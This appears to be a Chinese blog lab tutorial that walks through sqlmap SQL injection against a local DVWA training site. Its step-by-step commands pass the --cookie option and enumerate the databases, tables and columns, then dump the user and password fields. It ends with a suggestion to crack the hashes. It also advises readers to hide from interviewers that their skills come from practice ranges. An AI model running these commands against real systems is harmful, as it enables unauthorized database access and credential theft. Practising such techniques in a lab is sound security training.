实验目的
普及SQLMAP的常用命令及SQLMAP的--cookie参数的使用方法。PS:面试时不要说打靶场什么东西,就说什么编码之类的
实验环境
攻击机:银鞍照白马
(1)操作系统:Windows10
(2)安装的应用软件:sqlmap、Burpsuite、ireFox浏览器插件HackbarF、
FoxyProxy等
(3)登录账号密码:操作系统帐号Admin,密码asdfghjkl
靶机:药罐子
(1)操作系统:本机(建议用虚拟机,特别是Linux)不过我太懒了[]~( ̄▽ ̄)~*
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞网站环境
(3)登录账号密码:操作系统帐号root,密码qwertyuio
实验原理
Cookie,指某些网站为了辨别用户身份而储存在用户本地终端上的数据。Cookie在Web应用中至关重要,用户的唯一标识sessionid也是存在cookie中的。利用SQLMAP对目标网站进行检测时,默认是不带cookie的,在一些情况下发出去的请求可能会被服务器拒之门外。这时,我们需要带上cookie才能进行SQL注入检测
实验步骤
本实验的目标是:以DVWA网站为入口,利用SQLMAP实施自动化SQL注入,获取DVWA网站的全部登录用户名和密码
1.访问SQLi-Labs网站
1.访间DVWA网站
(1)在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的 DVWA网站。访间的URL为:
http://靶机ip/dvwa-master
输入默认用户名admin、密码password登录:
(2)成功登录DVWA网站后,在左侧菜单点击 DVWA Security,将DVWA网站的安全级别设置为 Low,并点击Submit按钮。
(3)安全级别设置完成后,在左侧莱单点击“SQLIrjection”模块,进入SQL注入训练模块;
2.利用Burpsuite工具抓包(不会抓包点链接,以此类推)
随便提交点什么,然后抓包
抓包成功在Burpsuite界面将此HTTP请求包中的cookie字段拷贝下来,作为下一步为 SQLMAP的 --cookie参数赋值
3.启动SQLMAP
4.寻找注入点
使用以下命令自动寻找网站的注入点,并获取网站及后台数据库的基本信息
python sqlmap.py -u http://靶机IP/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit --cookie 刚才拷贝内容
python sqlmap.py -u "http://127.0.0.1/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=impossible; PHPSESSID=vm0iv7kml96mb1ipdla3emchl4"
这种就是保护等级过高提示
检测结果
注意:利用SQLMAP对目标网站进行检测时,默认是不带cookie的,在本例中会出现网站重定向的问题而导致检测失败。为避免此问题,需要带上cookie字段才能进行SQL注入检测。
5.获取所有可用的数据库的库名
(1)使用以下命令获取所有可用的数据库的库名:
python sqlmap.py -u "http://127.0.0.1/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=vm0iv7kml96mb1ipdla3emchl4" --dbs
(2)使用以下命令获取网站当前所在数据库的库名:
python sqlmap.py -u "http://127.0.0.1/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=vm0iv7kml96mb1ipdla3emchl4" --current-db
检测结果:网站当前所在数据库的库名为dvwa
6.获取dvwa数据库中所有的表名
使用以下命令获取dvwa数据库中所有的表名:
python sqlmap.py -u "http://127.0.0.1/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=vm0iv7kml96mb1ipdla3emchl4" -D dvwa --tables
检测结果:dwwa数据库中含有guestbook和users两张表。
其中,users表当中可能存放着网站用户的基本信息。
7.获取users表的全部字段名
使用以下命令获取users表的全部字段名:
python sqlmap.py -u "http://127.0.0.1/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=vm0iv7kml96mb1ipdla3emchl4" -D dvwa -T users --columns
检测结果:users表中有八个字段user、avatar、failed_login、first_name、last_login、last_name、password 和user_id
8.获取users表中user和password字段的全部值使用以下命令获取users表中user和password字段的全部值:
python sqlmap.py -u "http://127.0.0.1/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=vm0iv7kml96mb1ipdla3emchl4" -D dvwa -T users -C user,password --dump
资料到手:
后续可根据实际需要,使用Kali系统自带的Hashcat工具对密码Hash值进行破解,此处不再赘述!
SQL注入 ——sql数据库操作基础(一)_Gjqhs的博客-CSDN博客
SQL注入——基于报错的注入(五)_Gjqhs的博客-CSDN博客
SQL注入——SQLmap的进阶使用(十三)_Gjqhs的博客-CSDN博客
...
更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧